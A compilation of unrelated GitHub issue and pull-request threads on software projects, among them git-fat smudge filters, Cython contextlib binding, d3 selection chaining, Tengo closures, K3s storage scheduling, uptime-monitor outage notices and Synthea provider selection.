text:
"git-fat filter-smudge" should support pulling missing fat files.

I've been investigating git large-file storage solutions, and while git-fat is more generally useful, GitHub's git-lfs is a bit nicer to use. One reason is that you don't have to manually "git lfs pull" when you "git pull" or "git checkout", because git-lfs' smudge filter will automatically try to download files it doesn't have cached locally.
I'm not sure whether this is something that git-fat should do by default; on the one hand, there's no guarantees that the user will have the required network connectivity when "git checkout" runs; on the other hand, maybe trying and failing and printing an error message would be better than git-fat's current behaviour (silently checking out un-smudged stubs).
I would like to have one of the following behaviours:

"git-fat filter-smudge" automatically tries to download missing fat files, and prints a warning  for each file it cannot obtain (because it's missing, or because it can't connect to the network or whatever)
"git-fat filter-smudge" defaults to its current behaviour, but supports the above behaviour with an extra command-line option, say --auto-fetch. "git-fat init" should also have an extra command-line option that installs the smudge filter with the --auto-fetch option.

This one I'm unsure about.  I'll leave this open for discussion, but I think I'd prefer it not be the case that it lazy loads the files during a smudge.  I know that's what git-lfs does, but I believe that it leads to very messy edge case handling.
For example, if a filter fails and returns non-zero than I believe the checkout is aborted.  Otherwise, if some files successfully download and some do not, then what do you do?  You've got some which have been replaced and some which haven't.  Sure you can print an error, but you can't return an error without creating a (nearly) unrecoverable mess.
Basically, I'd prefer if it were all or nothing and putting that behavior in filters prevents that behavior.  (It should be noted that the current implementation is not transactional but does not prevent it from being so in a hook).

I think git-fat already has to deal with some fat files being available and some missing. For example, if I have a directory full of fat files, and I "git checkout" a commit that adds a new such file, but I haven't run "git fat pull" yet, I'll wind up in that inconsistent state.
Just off the top of my head, would it be practical to do something like:

If the smudge-filter can't find a local copy of the file, instead of writing out the raw stub, write out a deliberately corrupt stub like "WARNING: FAT FILE NOT AVAILABLE", so "git status" and "git diff" will give a clue that something's gone wrong
If the clean-filter is fed a corrupt stub, it should bail out so that people can't just run "git add -A ." to ignore the smudge warnings.

I notice there's a filter.<driver>.required git config option that tells git that when smudge fails, the result is a broken working copy. That seems to describe 'git fat' pretty well, but I notice "git fat init" doesn't set that option - would it change the edge-cases you describe?

git-fat already has to deal with some fat files being available and some missing

This is the case yes.  When doing a clone for the first time we don't have any fat files on the local filesystem yet so we write out the placeholders.  Placeholders in the working copy without a corresponding file in the fat store are what "Orphans" are.

I have a directory full of fat files, and I "git checkout" a commit that adds a new such file, but I haven't run "git fat pull" yet, I'll wind up in that inconsistent state.

This is exactly correct.  We handled this by having a post-checkout hook call git-fat pull (this is the same case as cloning as it turns out).

I notice there's a filter..required git config option ...

I didn't know about this.  It seems like it could be useful, but I'm not totally sure.
To give a bit of context for why the current behavior is the way it is: We wanted to be able to selectively pull files in the repository without pulling all the large files for a particular commit.  This was very important for various reasons I won't get into at the moment, but is what leads to the duality of having orphan placeholders and real files in the working tree.
While moving push and pull to filters might be a good feature to have added, I don't think it should be the default for git-fat.  In any case it's going to be challenging technically.  However, I wouldn't outright reject it if it came along.

Aha, I checked .git/hooks/ and didn't see an example post-checkout hook, so I didn't realise there was one. I see it's actually listed on githooks(5). Depending how git handles a hook that fails (because it can't pull required fat files) this ticket may effectively be a dupe of #7.

post-checkout runs after the checkout is complete and cannot affect the result of the checkout. You'll end up with orphan subs if this hook fails, but that's no worse than the smudge filter failing.

post-checkout runs after the checkout is complete and cannot affect the result of the checkout.

What the post checkout hook did was run a git-fat pull followed by a git-fat checkout. The git-fat checkout runs git checkout-index of the affected files.  This forces a re-smudge of the files that it pulled.
If the hook failed it wouldn't normally affect the result of the checkout, but since we called git-fat checkout which in turn called git checkout-index, it did have a chance to leave the repository in an inconsistent state (e.g. a file partially written or w/e).  The point was however that we separated the downloading of the files from the smudging of the files.

authors: OptiverTimAll abraithwaite cynix

repo: cyaninc/git-fat


text:
Branch(es) to support previous releases of The MathWorks toolchain

Dr. Fossen,
Thanks for the repository.
FYI, I used portions of this over 10 years ago and am thrilled to see it is still actively being developed!
I have some project needs that require prior release (i.e., r2015a, r2018b, etc.).
FWIW, I have written scripts to search the directory structure, identify mdl/slx models/libraries, do a load/save as, etc.
If it will be of use, I can provide some scripts for you.  We can iterate as necessary to get to a point where a clean checkout of a branch works for my purposes (e.g., r2015a, r2018b) and that should give some assurances that other TMW release branches should be easy to facilitate.
With gratitude.
Mike Schaefer

Backward compatibility is always an issue.  Are there specific Simulink files or m-files that you need? Converting all the Simulink code to an old Matlab version might be time-consuming. Notice that In the Simulink Editor, you can select
"Save > Previous Version" on the Simulation tab. Most m-files will probably work out of the box.

Dr. Fossen,
Apologies for not responding sooner.
I've attached an m-script (saved as text) that should work or be very close to providing automated support for prior releases to whatever level The MathWorks supports slupdate()...
If you can make a branch for R2021b, that
would be appreciated.  If there are any issues w/the script, I'll be happy to assist in updating it to R2023.
Mike Schaefer
migrate_libs_m.txt

source: gharchive/issue

authors: cybergalactic mvschaefer

repo: cybergalactic/MSS

license: MIT

license_type: permissive

license_source: github-api


text:
Better paths for better usability

Describe the problem you are experiencing
When currently using the page, the home page is located at /pages/main/home. Same goes for pages like aboutCYB and so on.
Describe the solution you'd like
I believe it would be better to have the homepage located at / and profile at /profile and so on
Describe alternatives you've considered
Next uses the file structure of the project to generate the url paths, so to make the paths more usable, I see two options:

Restructure the entrire project to better take advantage of nexts auto path generating
Add parenthesis to folders like pages and main to make next ignore these directories when generating paths

Additional context
I've tested the latter option, and have gotten the page to work like i imagined using this method.
Only problem is that all links to the page need to be changed to not include the /pages/main part. This includes links i believe are stored in the CMS

Well done. Vouchers have been registered for this medium task.

authors: EricSvebakk Sebbben


text:
update_db.php unexpected ;

$ php update_db.php --cpe --cve --stig
Parse error: syntax error, unexpected ';', expecting ',' or ')' in C:\xampp\www\exec\update_db.php on line 644

You need an extra ) before the final ;

This is being reverted back to the zip download...will be fixed here momentarily.

repo: cyberperspectives/sagacity


text:
As technology, I should support Deployable module per application (bounded context)

https://www.notion.so/cybnity/444-39c830770a634e6eb7149a8826549146
REQ_MAIN_1 : https://www.notion.so/cybnity/REQ_MAIN_1-3459109933554db8a4a36623823e8b0a

description: One deployable module is build/delivered per applicative domain (bounded context) including several embedded features

implementation: Each application domain is packaged as a Vert.x application (ready for independent deployment/runtime on one JVM process, and allowing horizontal scalability in several JVM instances) exposing the application domain API. The assigned features perimeter (e.g categorized security features per application) is embedded (e.g deployed Verticle in same JVM memory) in the packaged application which can be integrated via Vert.x local event bus (e.g sync calls between application’s features Verticles) and/or via Kafka brokers (e.g async calls with local or external other features/domains API).

[x]  Infrastructure services area

[x] Standard basic Docker Linux image with Java runtime (Eclipse Temurin JDK/JRE) reusable by domain implementation module (e.g helm configuration at application level for common image parameters, policies...)
[ ] Defense platform cluster as Kubernetes Local Dev cluster (deployable as mono instance cluster of modules into a Minikube stack)

[ ] Provisioning management of networking, load balancer, database, users, permissions... and Kubernetes cluster (orchestration management) via Terraform (Local cluster for dev on workstation's Minikube; "Staging & QA" cluster for test on OVHCloud)
[ ] Docker image & resources configuration management via Helm source codes (Configuration of systems' resources, logs, forwarding ports of Docker image, Kubernetes objects (e.g baseline/live replica cluster allowing pre-prod dress rehearsal, canary cluster for code changed and rollout with automated recovery, production/live cluster) supporting environments/infrastructures deployment AT APPLICATION LEVEL
[ ] Control Plane

[ ] API server (including https public root certificates) and Controller Manager > Cloud provider API link > cluster external ip address
[ ] Volumes configuration as stateful set (and \deployment\local-deployment.yaml file definition)

[ ] User interfaces area as Kubernetes Node (including external ip address)

[ ] Kube-Proxy (including inside/outside cluster network session rules)

[ ] Domains I/O area Node (including external ip address)

[ ] Kube-Proxy (including inside/outside cluster network session rules)

[ ] Domains area Node (including external ip address)

[ ] Kube-Proxy (including inside/outside cluster network session rules)

[ ] Infrastructure Services Area Node (including external ip address)

[ ] Kube-Proxy (including inside/outside cluster network session rules)

[ ] Infrastructure services zone firewall
[ ] Domains zone firewall as Calico enforcer, kubernetes network policy

[x] Foundation common modules

[ ]  UI area

[ ] Internet DMZ firewall as calico enforcer, kubernetes network policy
[ ] UIS brokers registry system as zookeeper cluster

[ ] Zookeeper server (Docker image) including port as dedicated Docker image template
[ ] Kubernetes control plan (\service\uis-broker-service.yaml file definition)
[ ] Kubernetes control plan (\service\uis-broker-systems-deployment.yaml file definition)
[ ] Volumes configuration as stateful set linking to systems-deployment file
[ ] Kubernetes POD (see Assembly strategy )
[ ] Kubernetes Service (including POD VPN address, POD unique IP address)

[ ] Users Interactions Space - UIS system as Redis cluster

[ ] Redis server (Docker image) including port as dedicated Docker image template
[ ] Kubernetes control plan (\service\uis-service.yaml file definition)
[ ] Kubernetes control plan (\service\uis-systems-deployment.yaml file definition)
[ ] Volumes configuration as stateful set linking to systems-deployment file
[ ] Kubernetes POD (see Assembly strategy )
[ ] Kubernetes Service (including POD VPN address, POD unique IP address)

[ ] Reactive messaging gateway system as vert.x backend server

[x] Vert.x web server (Java component)
[x] Reactive backend server (Docker image) including port as dedicated Docker image template
[ ] Kubernetes control plan (\service\backend-service.yaml file definition)
[ ] Kubernetes control plan (\service\backend-systems-deployment.yaml file definition)
[ ] Volumes configuration as stateful set linking to systems-deployment file
[ ] Kubernetes POD (see Assembly strategy )
[ ] Kubernetes Service (including POD VPN address, POD unique IP address)

[ ] Web reactive frontend system as ReactJS and Node.js server

[ ] Node.js server (NodeJS built ReactJS webapp)
[ ] Web reactive frontend server (Docker image) including port as dedicated Docker image template
[ ] Kubernetes control plan (\service\frontend-service.yaml file definition)
[ ] Kubernetes control plan (\service\frontend-systems-deployment.yaml file definition)
[ ] Volumes configuration as stateful set linking to systems-deployment file
[ ] Kubernetes POD (see Assembly strategy )
[ ] Kubernetes Service (including POD VPN address, POD unique IP address)

[ ]  Domains I/O area

[ ] Domains API zone firewall as calico enforcer, kubernetes network policy

[ ]  Domains area

[ ] DIS brokers registry as Zookeeper cluster

[ ] Zookeeper server (Docker image) including port as dedicated Docker image template
[ ] Kubernetes control plan (\service\dis-broker-service.yaml file definition)
[ ] Kubernetes control plan (\service\dis-broker-systems-deployment.yaml file definition)
[ ] Volumes configuration as stateful set linking to systems-deployment file
[ ] Kubernetes POD (see Assembly strategy )
[ ] Kubernetes Service (including POD VPN address, POD unique IP address)

[ ] Domains Interactions Space as Kafka cluster

[ ] Kafka server (Docker image) including port as dedicated Docker image template
[ ] Kubernetes control plan (\service\dis-service.yaml file definition)
[ ] Kubernetes control plan (\service\dis-systems-deployment.yaml file definition)
[ ] Volumes configuration as stateful set linking to systems-deployment file
[ ] Kubernetes POD (see Assembly strategy )
[ ] Kubernetes Service (including POD VPN address, POD unique IP address)

[ ] Access control domain deployable modules

[ ]  Infrastructure services area

[ ] Keycloack SSO backoffice & database server as PostgreSQL server, Keycloack backoffice server supporting the API delegation for teams members permissions, accounts etc.. managed by a final user (e.g CISO)

[ ] Keycloack SSO service (defined in infrastructure area over Kubernetes Node) and in UI layer (only login view module) as delegation login screen from CYBNITY frontend
[ ] Postgresql module into the domain layer (including access to keycloack back office)
[ ] delegation adapter usable from access control domain gateway to check sso fro many areas (ui for sso login, doamin for sso token check)

[ ]  UI area

[ ] access control ui - e.g security team member permissions, ui capabilities server

[ ] composite UI server (Docker image) including port as dedicated Docker image template
[ ] Kubernetes control plan (\service\access-control-domain-ui-service.yaml file definition)
[ ] Kubernetes control plan (\service\access-control-domain-ui-systems-deployment.yaml file definition)
[ ] Volumes configuration as stateful set linking to systems-deployment file
[ ] Kubernetes POD (see Assembly strategy )
[ ] Kubernetes Service (including POD VPN address, POD unique IP address)

[ ]  Domains I/O area

[ ] access control domain gateway system as Vert.x server

[ ] Vert.x server (Docker image) including port as dedicated Docker image template
[ ] Kubernetes control plan (\service\access-control-domain-gw-service.yaml file definition)
[ ] Kubernetes control plan (\service\access-control-domain-gateway-systems-deployment.yaml file definition)
[ ] Volumes configuration as stateful set linking to systems-deployment file
[ ] Kubernetes POD (see Assembly strategy )
[ ] Kubernetes Service (including POD VPN address, POD unique IP address)

[ ]  Domains area

[ ] Access control process module system as Flink server (rts process module, apache flink, apache flink cep, kafka client, mongodb client, zookeeper client)

[ ] Flink server (Docker image) including port as dedicated Docker image template
[ ] Kubernetes control plan (\service\access-control-domain-process-service.yaml file definition)
[ ] Kubernetes control plan (\service\access-control-domain-process-systems-deployment.yaml file definition)
[ ] Volumes configuration as stateful set linking to systems-deployment file
[ ] Kubernetes POD (see Assembly strategy )
[ ] Kubernetes Service (including POD VPN address, POD unique IP address)

[x] Update the Implementation View documentation regarding:

[x] the modular systems projects, structure of modules projects (https://github.com/cybnity/foundation/blob/feature-61/implementations-line/systems/README.md)
[ ] update the containerized system documentation about systems platform
[x] the architecture of systems
[ ] the packaging models (docker and kubernetes components level)
[ ] the configuration-management (helm resources and settings level per specific docker image)
[x] the system IaC (terraform IaC and systems level)
[ ] the runtime dependencies overview between deployable components and macro-links between them (e.g CYBNITY system components level between park of CYBNITY Docker Images executed into Kubernetes services activated)
[ ] the map of logical stream ports (e.g internal / external) helping to understand the path of events/interactions flow between the Kubernetes Nodes (supposed deployable as application Space Based Architecture; with visibility on location where security policy about permissions/flow opened are controlling the runtime perimeters)

[ ] install an official Harbor repository (trusted docker image including stores, signs, and scans) and set usage by CI chain (https://goharbor.io/ , https://github.com/goharbor/harbor ) for docker images push/tag regarding cybnity images mirror with securized contents scanning projects in complement of agnet's docker hub instance (or docker hub cybnity repository for open source projects)

tech: kubernetes, docker, terraform, helm

Documentation about the IaC project structure implementation regarding Terraformed modules is written

command since reactive-messaging-gateway:  docker build -f ../../systems/container-templates/jre-container/Dockerfile -t cybnity/jre-container
PROBLEM: Build process of docker image execution have a problem when started since the sub-directory of maven project because not all the maven parent structure is copied in the docker workdir (dockerfile). See if could be better to download from repository during the dockerfile execution to avoid mandatory rebuild and copy of target/classes and libs, with an autonomous execution (from anywhere in implementations-line/systems of docker file (how to download also all the jar dependencies ? see maven assembly plugin including jar-dependencies)

Maven, build process automatically create Dockerfile of reactive-backend project. The creates Dockerfile is tested as valid and execution test is ok

build and push of docker image regarding jre-tee base JRE image, and reactive-messaging-gateway image to remote repositories (maven repo, Docker image repo on Dockerhub). Tested ok from CI chain updated

Update the CI chain of access-control project with support of docker maven plugin and profiles

documentations enhanced regarding the dockerization models, implementation projects structures (java project, dockerfile generation, link to the terraformed services)

mutualized configuration of docker maven plugin's for easy activation with minimum code in sub-project's pom files which need to be containerized

PROBLEM: nodejs docker image is starting with success but the exposed port by the embedded http server does not answer

access-control modules dockerized, tests ok with deployment on minikube. Docs updated

repo: cybnity/foundation


text:
Insufficient capacity on K3s (apparently incorrectly)

Describe the bug
On a fresh deployment of k3s, I try to deploy a 1Gi PVC, and the associated pod can't start because:
0/1 nodes are available: 1 Insufficient topolvm.cybozu.com/capacity.

The pod expects:
    Limits:
      topolvm.cybozu.com/capacity:  1073741824
    Requests:
      topolvm.cybozu.com/capacity:  1073741824

And the node has:
topolvm.cybozu.com/capacity: 42945478656

Environments

Version: K3s 1.17.3
OS: Ubuntu 1804

To Reproduce
Steps to reproduce the behavior:

Deploy TopoLVM per instructions
Create a 1Gi PVC
Create a pod to consume the PVC

Expected behavior
The PVC is correctly allocated from the available space on the node

Update : Turns out that since K3s is not kubeadm-created, I need to manually specify extra scheduler args and volumes. K3s has a --kube-scheduler-arg argument, but nothing to add additional volumes, so for now, I don't see how it's possible to run topolvm on k3s :(

repo: cybozu-go/topolvm


text:
Search Everywhere Conformity

Search everywhere is a bit of a sore thumb. It would be cool if it was part of the theme scheme.

 VM438:2 # 22   Search Everywhere Conformity   https://api.github.com/repos/cyclic-reference/ddlc-jetbrains-theme/issues/22

repo: cyclic-reference/ddlc-jetbrains-theme


text:
How does this pointer get deleted?

Thanks a lot of sharing your repository.
Do you know how this pointer can be deleted?
IOptimizationProfile *optProfile = builder->createOptimizationProfile();

https://github.com/cyrusbehr/tensorrt-cpp-api/blob/main/src/engine.cpp#L126

See NvInfer.h
The builder retains ownership.

repo: cyrusbehr/tensorrt-cpp-api


text:
🛑 Power Cloud Platform is down

In fffdcf0, Power Cloud Platform (https://app.cyscale.com) was down:

HTTP code: 502
Response time: 166 ms

Resolved: Power Cloud Platform is back up in 115139e.


text:
🛑 Cyscale Website is down

In 3f80d5c, Cyscale Website (https://cyscale.com) was down:

HTTP code: 403
Response time: 112 ms

Resolved: Cyscale Website is back up in 98b7df7.


text:
Using contextlib with cython

I am interested in using contextlib with a cdef class in cython in order to nicely wrap some OpenGL code. I had asked this question on stackoverflow. While the workaround I had received worked (using __enter__ and __exit__),
Here is the test code for vbo.pyx that was in that answer for reference:
import contextlib

cdef class Vbo:

    def __init__(self):
        pass

    @contextlib.contextmanager
    def bind(self):
        self.do_something()
        try:
            yield
        finally:
            print("Finally")

    def do_something(self):
        print("something")

This code works for me if I remove the cdef but this should not be necessary. If I use the sample code as is, I get an error message like this when I use that cdef class from python:
Traceback (most recent call last):
  File "main.py", line 2, in <module>
    import vbo
  File "vbo.pyx", line 21, in init vbo (vbo.c:15766)
    @contextlib.contextmanager
  File "C:\Python27\lib\contextlib.py", line 82, in contextmanager
    @wraps(func)
  File "C:\Python27\lib\functools.py", line 33, in update_wrapper
    setattr(wrapper, attr, getattr(wrapped, attr))
AttributeError: 'method_descriptor' object has no attribute '__module__'

It appears that this behavior might be a possible regression as this works apparently in cython 0.25.1 and python 3.6.1.  I am using cython 0.25.2 and python 2.7.12.

Enabling the "binding" directive would probably fix this, i.e. put this comment at the top of your source file:
# cython: binding=True
http://docs.cython.org/en/latest/src/reference/compilation.html#compiler-directives
I'm closing this as "not a bug", please reopen if that seems wrong to me, but you're probably best off asking on the Cython users mailing list instead.

Thanks for pointing me to that page, it is very helpful! Unfortunately, after adding # cython: binding=True to the top of the vbo.pyx, I now get a different error, which looks like this.
Traceback (most recent call last):
  File "main.py", line 28, in <module>
    with v.bind():
  File "C:\Python27\lib\contextlib.py", line 17, in __enter__
    return self.gen.next()
AttributeError: 'GeneratorContextManager' object has no attribute 'next'

Any ideas would be appreciated.

With binding=True, you are probably hitting #1724. Can you try Cython master to check if it works now?

Didn't realize this question was still being looked at after it got closed! I updated to Cython master using python setup.py install (Cython version 0.26b0) and tested out my vbo.pyx file. Whatever was done in the new update, it absolutely works and I can now use contextlib again instead of this ugly hack. Thank you!

Hi, I bumped into this issue and realized the documentation of the 'binding' directive may need some additional explanation by adding an example (such as this case). Reading it twice I still have little clue what 'len' and 'binding to an instance' really means. Thanks!
(actually perhaps all of the directives need more documentation...)

Is this better? 7d61c7782704237477e883de6bfbfc3526074385
If you have anything to clarify or add, I'd be happy about a pull request.

Allow me to point to a blogpost of mine which explains some of this: http://opendreamkit.org/2017/06/09/CythonSphinx/

authors: AnishN jdemeyer rainwoodman scoder

repo: cython/cython

license_source: bigquery


text:
Fixed conversion from DictNode to map

Fixes one part of https://github.com/cython/cython/pull/4228
I also added tests for the equivalent list and tuple operations, but they seemed to work as is.

Thanks!

source: gharchive/pull-request

authors: da-woods scoder


text:
请问base.py获取的batch_data对应的mmseg版本是什么呢？

我用的之前可以成功跑通的mmseg包，打印出来的batch_data的keys()为：

现在训练博主的代码的时候，把mmseg和mmcv都移动到segmentation下，并make.sh了环境。发现batch_data超过except 2之后，我将batch_data去掉了多余的key，目前报如下错误：

请问我应该更换mmseg的版本吗，我是用的是0.24版本

我用的是0.20.2的mmsegmentation，直接pip install mmsegmentation==0.20.2即可，不确定更高的版本是否有兼容问题

好的，辛苦老师了~
---- 回复的原邮件 ----
| 发件人 | Zhe @.> |
| 日期 | 2022年07月07日 22:10 |
| 收件人 | @.> |
| 抄送至 | @.@.> |
| 主题 | Re: [czczup/ViT-Adapter] 请问base.py获取的batch_data对应的mmseg版本是什么呢？ (Issue #20) |
我用的是0.20.2的mmsegmentation，直接pip install mmsegmentation==0.20.2即可，不确定更高的版本是否有兼容问题
—
Reply to this email directly, view it on GitHub, or unsubscribe.
You are receiving this because you authored the thread.Message ID: @.***>

repo: czczup/ViT-Adapter


text:
🛑 Staging Risk Evaluation Web is down

In c97b599, Staging Risk Evaluation Web ($STAGING_EVALUATION) was down:

HTTP code: 503
Response time: 371 ms

Resolved: Staging Risk Evaluation Web is back up in a3b11c1.


text:
🛑 Auth Service is down

In 342bc8f, Auth Service ($SECRET_SITE) was down:

HTTP code: 0
Response time: 0 ms

Resolved: Auth Service is back up in c66b614.


text:
🛑 Staging Homologation Front is down

In 2158d46, Staging Homologation Front ($STAGING_FRONT) was down:

HTTP code: 503
Response time: 502 ms

Resolved: Staging Homologation Front is back up in d56d04e.


text:
Adopt InternMap for scaleOrdinal.

Instead of stringifying the domain.

Great idea!

Fixed in #237.

authors: curran mbostock


text:
Traverse back up the svg chain

I have an use case where I need to add multiple elements to an object, but I cannot directly do that using the svg chain syntax, because it only allows me to traverse it deeper into the object.
So basically, this is what I want to do:
defs.append("marker")
    .attr(..., ...)
    .append("svg:path")
        .attr("d", ...)
        .goUp()
    .append("svg:path")
        .attr("d", ...)
        .goUp()
    .append("svg:path")
        .attr("d", ...);

But I cannot do that. I know, there is a workaround by saving the marker as a variable:
var marker = defs.append("marker")
    .attr(..., ...);
marker.append("svg:path")
        .attr("d", ...);
marker.append("svg:path")
        .attr("d", ...);
marker.append("svg:path")
        .attr("d", ...);

But that has a few caveats. It looks ugly and breaks with the beautiful Domain Specific Language-like chain syntax, but it also leaves unwanted and unnecessary temporary variables behind. In my specific use case, this appears in the initialisation code in global scope. defs is a variable in global scope and I could easily do all of that in global scope without having to worry about anything. But the workaround would leave the unnecessary variable marker behind in global scope.
There is another workaround:
d3.select(d3.select(defs.append("marker")
    .attr(..., ...)
    .append("svg:path")
        .attr("d", ...)
        .node().parentNode)
    .append("svg:path")
        .attr("d", ...)
        .node().parentNode)
    .append("svg:path")
        .attr("d", ...);

This does not leave behind any temporary variables, but it is even uglier. Especially if you want to chain many appends, this can easily get out of hand.
With a simple goUp() function (or whatever might be a better name for that) the chain syntax could be used as a DSL that would work almost the same as svg itself.
I made this polyfill that fixes this situation: d3.selection.prototype.goUp = function () { return d3.select(this.node().parentNode); }

This feature has been previously discussed in the d3/d3 repository issues which unfortunately I had to close due to repeated abuse.
One of the challenges is that selection.select propagates data, and when going from the child to the parent, you rarely want this behavior. And secondly selections are nested (see How Selections Work), and there’s no way to reconstruct the parent structure just by doing select.
You could perhaps keep a stack of selections in selection.select and selection.selectAll so that you can pop them off the stack to get back the originating selection, but I don’t think you want this in the default case because it could be easy to leak memory by keeping references to selections that you’re no longer using.
Also, as a more opinionated issue, I think method chaining is easy to overuse, and that you typically get more readable code by keeping local variables or by using selection.call. For example:
defs.append("marker")
    .attr(…)
    .call(marker => marker.append("path").attr(…))
    .call(marker => marker.append("path").attr(…))
    .call(marker => marker.append("path").attr(…));

I have no plans to implement this feature, but the d3.selection.prototype is extensible so you are welcome to write your own D3 module that adds additional methods for more flexible chaining. See also d3-jetpack’s parent method.

authors: Dakkaron mbostock

license: isc


text:
Update team info Maddie

Updated the info for Maddie. The format looks the same as the other profiles.
I'm not sure if we need to add the path of the file somewhere else in the repository.
Cheers,
Jorge

All the individual people profiles get auto-merged into one team.yaml file, so it's good to go.

authors: djgagne jcelis-HydroRS


text:
Fix local function recursion issue

// global recursive function: works perfectly
sum_g := func(a) {
    return a == 0 ? 0 : a + sum_g(a-1)
}
print(sum_g(10)) // 55

// local recursive function: causes an error
func() {
    sum := func(a) {
        return a == 0 ? 0 : a + sum(a-1)  // error
    }

    return sum(10)
}()

// workaround
func() {
    sum := undefined
    sum = func(a) {
        return a == 0 ? 0 : a + sum(a-1)  // ok
    }

    return sum(10)
}()

Playground
Instructions:
  0000 CONST   5
  0003 CALL    0
  0005 SETG    0

Constants:
  [0] 0 (int)
  [1] 0 (int)
  [2] 1 (int)
  [3] (function)
    0000 GETL    0
    0002 CONST   0
    0005 EQL
    0006 JMPF    15
    0009 CONST   1
    0012 JMP     28
    0015 GETL    0
    0017 GETF    0
    0019 GETL    0
    0021 CONST   2
    0024 SUB
    0025 CALL    1
    0027 ADD
    0028 RETVAL  1
  [4] 10 (int)
  [5] (function)
    0000 GETL    0
    0002 CLOSURE 3     1
    0006 DEFL    0
    0008 GETL    0
    0010 CONST   4
    0013 CALL    1
    0015 RETVAL  1

This has not been fixed by the mentioned commits:
$ tengo
>> wrapper := func() { inner := func(x) { if (x == 0) { return 0 } else { return inner(x - 1) } }; return inner(1) }
<compiled-function>
>> wrapper()
panic: runtime error: index out of range

goroutine 1 [running]:
github.com/d5/tengo/runtime.(*VM).pushClosure(0xc000080370, 0x3, 0x1, 0x0, 0x0)
	/Users/prologic/Contributions/tengo/runtime/vm.go:1060 +0x34c
github.com/d5/tengo/runtime.(*VM).Run(0xc000080370, 0xc0000ac000, 0x400)
	/Users/prologic/Contributions/tengo/runtime/vm.go:933 +0x58b2
main.runREPL(0x11fc400, 0xc00000c010, 0x11fc420, 0xc00000c018)
	/Users/prologic/Contributions/tengo/cmd/tengo/main.go:218 +0x5ea
main.main()
	/Users/prologic/Contributions/tengo/cmd/tengo/main.go:53 +0x4ff

This is on the latest master after a git pull and go install ./...

It's probably an issue with REPL code. Same code works fine in playground (https://tengolang.com/?s=e1bf7d1e99b81c312d9b02bdc6735a11daf1d93a). I will take a look. Thanks for reporting!!

Ahh I did not test with a full program; only on the REPL. No worries :)

Found the cause, and, opened #91.


text:
Provider Selection Behaviour toevoegen NL Netwerkzorg

Ook ten behoeve van het splitsen (exporter.split_records = true) van de dataset per Provider.
Antwoord van Jason:

In synthea.properties there is an option called generate.providers.selection_behavior with a few different options.
# Provider selection behavior
# How patients select a provider organization:
#  nearest - select the closest provider. See generate.providers.maximum_search_distance
#  quality - select the best provider if quality is known. Otherwise nearest.
#  random  - select randomly.
#  network - select the nearest provider in your insurance network. same as random except it changes every time the patient switches insurance provider.
generate.providers.selection_behavior = nearest

The behavior works separately for each type of provider. For instance, the GP/PCP is selected separately from an urgent care facility, which is selected separately from an emergency facility, and so on. Once a provider is selected, it often does not reset unless you are using network and a change in insurance causes the patients to "shop around." (this is US-centric and also a lie, since the US health system is so opaque and anti-patient that "shopping around" is effectively a fool's errand, or time pressure of care effectively eliminates choice).
If none of those options work for you, you can override the behavior by implementing https://github.com/synthetichealth/synthea/blob/master/src/main/java/org/mitre/synthea/world/agents/behaviors/IProviderFinder.java and then editing Provider.buildProviderFinder().

Ik heb nu als eerste stap in de FhirStu3 generator obv de Encounter naam (processtap naam) de Encounter location toe gevoegd in de output FHIR, zodat ik het kan tonen in de Viewer.
Dus e.g. "Contact HA" wordt location "HA" en alles waar "2de lijn" in staat wordt "MARTINI" en "3de lijn" wordt "UMCG.
Dit is een workaround, want dit zorgt er nog niet voor dat een werkelijke 2de of 3de lijn Provider wordt gekozen. Dat moet wel gebeuren om de "split dataset per provider" te laten werken.
Kiezen van soort provider wordt nu gedaan obv Encounter.class. Die class kent het concept 2de en 3de lijn niet.
We moeten w.s. iets doen in de folder src/main/resources/providers/, specialty_hospitals.csv toevoegen als 3de lijn en dat zijn in NL dan de umcs.

Als je code wijzigingen hebt, dan graag posten. Voor mij is dit nog best onduidelijk.
als ik een nieuwe 'provider selector' moet maken, dan moet het wel duidelijker zijn dan wat er nu verwacht wordt.
Dan dit is volgens mij een proces wat er dus dan voor moet zorgen dat je van de huisarts, maar martini ziekenhuis gaat en dan door verwijst wordt naar UMCG? Dat betekend dat er ziekenhuis kwalificaties moeten komen waarin die relaties liggen.
Dus ik ben meer achtergrond info nodig. Welke dataset wordt er nu gebruikt? Gebruiken we NL data van onze github?
Het toevoegen van een nieuwe provider set, kost denk ik meer dan wat er nu wordt voor gesteld.

Nieuwe code nodig, voor het inladen van nieuwe (niet standaard) csv files. https://github.com/dHealthNL/synthea/blob/master/src/main/java/org/mitre/synthea/world/agents/Provider.java#L300
Nieuwe CSV parser voor de nieuwe provider data https://github.com/dHealthNL/synthea/blob/master/src/main/java/org/mitre/synthea/world/agents/Provider.java#L346 (Deze stap is momenteel niet in te zien wat hier nog meer achter weg komt)
Er zullen nieuwe Encounter types moeten worden aangemaakt https://github.com/dHealthNL/synthea/blob/master/src/main/java/org/mitre/synthea/world/concepts/HealthRecord.java#L453
Een nieuwe provider type met nieuwe logica. Is het altijd zo dat je van 2de naar 3de gaat? Hoe bepaal ik dan welke 1/2/3de lijn provider wil?
Pas de setting aan https://github.com/dHealthNL/synthea/blob/master/src/main/resources/synthea.properties#L175 zodat er uit een groot genoeg gebied kan worden gekozen. Mijn ouders wonen niet binnen 32 km van een ziekehuis. Ik denk zelfs dat de huisarts van mijn ouders niet eens binnen 32 km van een ziekenhuis zit.

En nog een lijst met UMC's en waar die zitten.
Dit is wat ik er nu uit begrijp. Klopt dit?

Extra info: Ik krijg het gevoel dat er een bug in synthea zit. Want als je de records splitst, en dus per ziekenhuis werkt, dan kun je nooit dezelfde UUID krijgen voor de patiënt. UUID zijn uniek in de wereld, en het is onmogelijk dat meerdere ziekenhuizen dezelfde UUID generen voor een patiënt. Echter Synthea doet dat wel. En daarmee lijkt het alsof je dus dat je patiënt data kunt koppelen op basis van de patiënt UUID. Wat in werkelijkheid volgens mij niet kan.
Ik heb exporter.split_records = true gezet, en krijg dus per patiënt meerdere JSON files. Dan zien je dat bij elke JSON file van 1 patiënt, dezelfde UUID voor de patiënt wordt gebruikt. Maar als dit werkelijk van verschillende bronnen komt, dan ga ik ervan uit dat de UUID per ziekenhuis worden gegenereerd, en zullen dus verschillen.
Maar ik kan dit verder niet vinden in uitleg of code. Dus ik denk dat dit misschien gecheckt moet worden bij de originele auteurs van de code. Anders gaan mensen tijdens de hackaton dus linken op dat UUID, wat in real world dus niet kan.

In ons geval mag je UUID als patientid interpreteren. In de praktijk zal dat het BSN zijn.
De id van de resources zullen idd wijzigen bij het inlezen bij de FHIR server. De identifiers (o.a. BSN) blijven echter bestaan. Dat is waar we op gaan zoeken.
